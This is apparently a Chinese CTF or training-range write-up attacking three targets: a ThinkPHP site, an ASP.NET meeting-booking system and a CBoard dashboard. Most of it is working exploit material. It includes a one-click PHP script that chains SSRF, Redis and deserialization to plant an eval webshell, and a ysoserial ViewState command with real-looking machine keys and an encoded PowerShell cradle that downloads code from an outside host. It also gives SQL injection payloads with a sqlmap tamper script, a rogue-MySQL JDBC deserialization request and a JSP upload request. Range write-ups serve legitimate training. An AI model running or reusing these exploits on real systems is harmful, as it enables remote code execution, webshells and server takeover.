新春考核靶场

thinkphp

参考:https://xz.aliyun.com/t/7594

redis缓存

以think_serialize: 开头的value通过get获取会触发 反序列化

脚本编写过程
先将生成的反序列化payload取反(取反是为了防止在传输过程中发生报错),由于get请求的长度限制遂将他分段传输，利用redis的APPEND命令不断的追加，待追加完成之后用bitop:not再次取反 即可得到完整的反序列化数据

一键利用脚本如下
反序列化poc 用 phpggc即可生成

<?php  
  
// eval 1  > payload123123.php  
$a= "think_serialize:";  
$a = $a."O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A27%3A%22think%5Ccache%5Cdriver%5CMemcache%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A18%3A%22HEXENS%3CgetAttr%3Eno%3C%22%3Bs%3A53%3A%22echo+%22%3C%3Fphp+%40eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22+%3E+payload123123.php%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A7%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A11211%3Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A7%3A%22timeout%22%3Bi%3A0%3Bs%3A12%3A%22session_name%22%3Bs%3A6%3A%22HEXENS%22%3Bs%3A8%3A%22username%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22password%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7Ds%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A9%3A%22%00%2A%00parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A27%3A%22think%5Ccache%5Cdriver%5CMemcache%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A18%3A%22HEXENS%3CgetAttr%3Eno%3C%22%3Bs%3A53%3A%22echo+%22%3C%3Fphp+%40eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22+%3E+payload123123.php%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A7%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A11211%3Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A7%3A%22timeout%22%3Bi%3A0%3Bs%3A12%3A%22session_name%22%3Bs%3A6%3A%22HEXENS%22%3Bs%3A8%3A%22username%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22password%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A27%3A%22think%5Ccache%5Cdriver%5CMemcache%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A18%3A%22HEXENS%3CgetAttr%3Eno%3C%22%3Bs%3A53%3A%22echo+%22%3C%3Fphp+%40eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22+%3E+payload123123.php%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A7%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A11211%3Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A7%3A%22timeout%22%3Bi%3A0%3Bs%3A12%3A%22session_name%22%3Bs%3A6%3A%22HEXENS%22%3Bs%3A8%3A%22username%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22password%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D";  
  
$originalString = urldecode($a);  
$reversedString = '';  
  
for ($i = 0; $i < strlen($originalString); $i++) {  
    $reversedString .= $originalString[$i] ^ "\xFF";  
}  
$length = ceil(strlen($reversedString) / 10);  
  
$segments = str_split($reversedString, $length);  
$tmp_key = bin2hex(random_bytes(8));  
$redis_ip = "127.0.0.1";  
$server_ip = "103.164.63.172:8081";  
  
$url = "http://$server_ip/public/index.php?s=index/Index/geturl&url=dict://$redis_ip:6379/config:set:slave-read-only:no";  
echo file_get_contents($url);  
foreach ($segments as $value)  
{  
    $url = "http://$server_ip/public/index.php?s=index/Index/geturl&url=dict://$redis_ip:6379/APPEND:$tmp_key:".$value;  
    echo file_get_contents($url);  
}  
$url = "http://$server_ip/public/index.php?s=index/Index/geturl&url=dict://$redis_ip:6379/bitop:not:payload12xx123:$tmp_key";  
echo file_get_contents($url);  
  
echo file_get_contents("http://$server_ip/public/index.php?s=index/Index/getname&name=payload12xx123");  
  
echo "webshell:\npass:1\nhttp://$server_ip/public/payload123123.php";  
  
?>

在根目录下即可找到flag

会议预定系统

http://103.164.63.231/login.aspx 会议预定系统

前台viewstate反序列化

参考:
https://blog.csdn.net/qq_41891666/article/details/107290131
https://www.websecuritys.cn/index.php/archives/94/

能够在login.aspx出观察到 他的隐藏域

如下

网上熟悉了下打法之后，发现直接用ysoserial.net就能进行攻击
运行 ./ysoserial.exe -p ViewState也会给你常用的用法

在结合网上下载的源码的web.config，从中获取decryptionkey和validationkey 即可完成整个payload构造

./ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwA1AC4AMQA3ADgALgA3ADMALgAxADQAMQA6ADgAMAAxADEALwBhADEAMQAxACcAKQApACIA" --path="/login.aspx" --apppath="/" -decryptionkey="215D97F766DE50E575496E01C16306C751376E2EBBDE4B51" -validationkey="0BF11533BC55065E2C46C2F295FC5A501A13B28FE43B6F56E57973D4BE818354D21B7102EC24DB26B803D65936A5F1D812158D8F729406C168FC8440B4CDE16B"   --islegacy

随后便能直接上线，
然后在土豆提权，在administrator下即可获取到flag

前台注入点1

这个点就是传进来的dt未进行任何过滤我们构造**')** 进行闭合即可 触发sqli
利用

http://103.164.63.231/report/data_list.aspx?dt=2024-01-27%27);waitfor delay '0:0:5'--

可以直接堆叠

前台注入点2

这个点从cookie中获取了值,先进行了一个Helper.SimpleDecryptStr 简单的解密

能够发现，这就是个简单的字符串变换
我们可以编写tamper脚本很轻松的实现注入
脚本如下

from lib.core.enums import PRIORITY  
from lib.core.common import singleTimeWarnMessage  
from urllib.parse import quote  
  
  
__priority__ = PRIORITY.LOWEST  
  
  
  
def dependencies():  
    singleTimeWarnMessage("此脚本仅适用于 book_meeting")
  
def simple_encrypt_str(rs):  
    by = [ord(char) + 1 for char in rs]  
    encrypted_str = ''.join(chr(byte) for byte in reversed(by))  
    return encrypted_str  
  
  
def tamper(payload, **kwargs):  
    return quote(simple_encrypt_str(payload))

sqlmap -u "http://103.164.63.231/wx/AutoLogin_Qywx.aspx" --level 3 --cookie="qywxusername=1" -p qywxusername --tamper=book_meeting_AutoLogin_Qywx.py -
-ignore-redirects --skip-urlencode

前台注入点3

这个位置和之前的一致，都是对传入的值进行了简单的加密，利用方式与上面的一直
位置位于

/dd/AutoLogin.aspx

站库分离

因为存在堆叠注入,可以直接使用 xp_cmdshell 执行系统命令,通过 sqlmap --os–shell可以一键利用
然后在上线cs,最后可以在users下面即可获取到flag

CBoard

http://103.164.63.172:8090
admin root123默认口令进后台

jdbc 反弹shell

从GitHub上获取的源码，其中pom.xml如下 我们得知了数据库的版本，并且很有可能可以打CC6 用项目：https://github.com/fnmsd/MySQL_Fake_Server 构建evil server
最后http raw如下

POST /dashboard/test.do HTTP/1.1
Host: 103.164.63.172:8090
Content-Length: 403
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://39.101.184.7:8026
Referer: http://39.101.184.7:8026/cboard/starter.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: JSESSIONID=351888835121736C4B575BE0B49F2DDA
Connection: close

datasource=%7B%22config%22%3A%7B%22pooled%22%3Atrue%2C%22driver%22%3A%22com.mysql.jdbc.Driver%22%2C%22jdbcurl%22%3A%22jdbc%3Amysql%3A%2F%2F175.178.73.141%3A3306%2Ftest%3FautoDeserialize%3Dtrue%26user%3Dbase64ZGVzZXJfQ0MzMV9pZA%3D%3D%22%2C%22username%22%3A%22CommonsCollections6%22%2C%22password%22%3A%22123456%22%7D%2C%22type%22%3A%22jdbc%22%2C%22name%22%3A%22test%22%7D&query=%7B%22sql%22%3A%221%22%7D

后台任意文件上传

还有一处能够进行任意文件上传

可以从上面源码看到，整个上传过程就是简单的拼接，并未对文件的后缀进行任何的处理，目标环境中间件是Tomcat,这就导致了我们可以上传任意的jsp webshell，从而获取网站的权限

http raw如下

POST /dashboard/uploadImage.do HTTP/1.1
Host: 103.164.63.172:8090
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: JSESSIONID=FBC699B01EC74F0154B6ECF2EF00953B
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY32jx5xlw76vxXzj
Content-Length: 181

------WebKitFormBoundaryY32jx5xlw76vxXzj
Content-Disposition: form-data; name="file"; filename="2.jsp"
Content-Type: image/png


1
------WebKitFormBoundaryY32jx5xlw76vxXzj--

最后可以从源码中获取完整的拼接路径

http://103.164.63.172:8090/imgs/cockpit/upload/20240128104846/2.jsp